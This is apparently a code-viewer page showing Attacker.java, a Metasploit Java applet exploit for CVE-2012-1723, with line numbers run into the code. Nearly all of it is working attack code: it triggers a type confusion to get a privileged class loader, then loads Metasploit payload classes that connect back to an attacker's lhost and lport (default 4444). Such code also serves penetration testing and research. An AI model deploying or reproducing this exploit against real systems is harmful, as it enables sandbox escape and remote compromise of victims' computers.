Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2012-1723/src/cve1723/Attacker.java
Views: 11784
package cve1723;12import java.applet.Applet;3import java.awt.*;4import java.io.*;5import java.net.URL;6import java.nio.ByteBuffer;7import java.nio.IntBuffer;89/**10* Attacker applet11*/12public class Attacker extends Applet {13@Override14public void init() {15super.init();1617final Confuser c = new Confuser();18for (int i = 0; i < 100000; i++) {19c.confuse(null);20}2122try {23Thread.sleep(100);24} catch (final InterruptedException ie) {25//swallow26}2728try {29final ConfusingClassLoader cl = c.confuse(getClass().getClassLoader());30final String names[] = { "msf.x.PayloadX", "msf.x.PayloadX$StreamConnector" };31final String paths[] = { "/msf/x/PayloadX.class", "/msf/x/PayloadX$StreamConnector.class" };3233final String port = getParameter("lport");34ConfusingClassLoader.defineAndCreate(cl, names, new byte[][] { loadClass(paths[0]), loadClass(paths[1])}, getParameter("data"), getParameter("jar"), getParameter("lhost"), (port == null ? 4444 : Integer.parseInt(port)));35} catch (final Exception e) {36e.printStackTrace();37}38}3940private byte[] loadClass(final String name) throws IOException {41final ByteArrayOutputStream os = new ByteArrayOutputStream();42{ // load the payload class43final InputStream is = getClass().getResourceAsStream(name);44int read;45byte[] buffer = new byte[2048];4647while ((read = is.read(buffer, 0, buffer.length)) != -1) {48os.write(buffer, 0, read);49}50}5152return os.toByteArray();53}5455@Override56public void paint(final Graphics g) {57super.paint(g);5859final String tool = System.getSecurityManager() == null ? "null" : System.getSecurityManager().toString();60g.drawString(tool, 0, 10);61}62}636465